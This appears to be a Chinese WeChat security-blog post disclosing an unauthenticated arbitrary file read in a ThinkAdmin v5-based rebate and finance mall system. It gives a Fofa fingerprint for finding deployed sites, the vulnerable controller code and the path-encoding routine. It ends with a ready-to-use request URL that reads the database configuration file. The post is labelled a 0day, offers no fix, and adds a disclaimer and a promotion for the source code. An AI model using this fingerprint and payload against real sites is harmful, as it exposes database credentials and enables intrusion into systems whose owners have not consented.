点击上方蓝字关注我们 并设为星标
0x00 前言
这完美运行的返佣商城、分销商城和理财商城开源代码,拥有详细的教程和Vue代码脚本。进行了测试,前台和后台的显示都非常正常,没有出现任何问题。
Fofa指纹:”css/chunk-vendors.5802e0af.css”
0x01 漏洞分析
访问后台,发现使用的是框架实际是Thinkadmin 版本是v5,网上是有公开的历史漏洞的,不过和网上的些许不同.
在 /application/admin/controller/api/Update.php 控制器中read方法存在file_get_contents函数,且$encode可控,并未有鉴权操作,导致任意文件读取.
public function read($encode)
{
$this->file = env('root_path') . decode($encode);
echo decode($encode);
if (file_exists($this->file)) {
$this->success('读取文件成功!', [
'format' => 'base64',
'content' => base64_encode(file_get_contents($this->file)),
]);
} else {
$this->error('获取文件内容失败!');
}
}
不过这里decode调用的是 /vendor/zoujingli/think-library/src/tools/Crypt.php 中的方法
class Crypt
{
/**
* UTF8字符串加密
* @param string $string
* @return string
*/
public static function encode($string)
{
list($chars, $length) = ['', strlen($content = iconv('UTF-8', 'GBK//TRANSLIT', $string))];
for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($content[$i]), 10, 36), 2, 0, 0);
return $chars;
}
/**
* UTF8字符串解密
* @param string $encode
* @return string
*/
public static function decode($encode)
{
$chars = '';
foreach (str_split($encode, 2) as $char) {
$chars .= chr(intval(base_convert($char, 36, 10)));
}
return iconv('GBK//TRANSLIT', 'UTF-8', $chars);
}
所以我们也需要创建一个locd方法调用encode方法去给要读取的文件路径加密一下
将./config/database.php 加密一下 就变成下面这一串加密的字符
0x02 漏洞复现
Payload:
/index.php?s=/admin/api.update/read?encode=1a1b2r33322u2x2v1b2s2p382p2q2p372t1a342w34
解码出来是Base64,可以去 https://www.toolhelper.cn/EncodeDecode/Base64 解密
标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转
商城系统源码关注公众号发送 241003 获取!
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!
原文始发于微信公众号(星悦安全):某返佣理财商城系统存在前台任意文件读取漏洞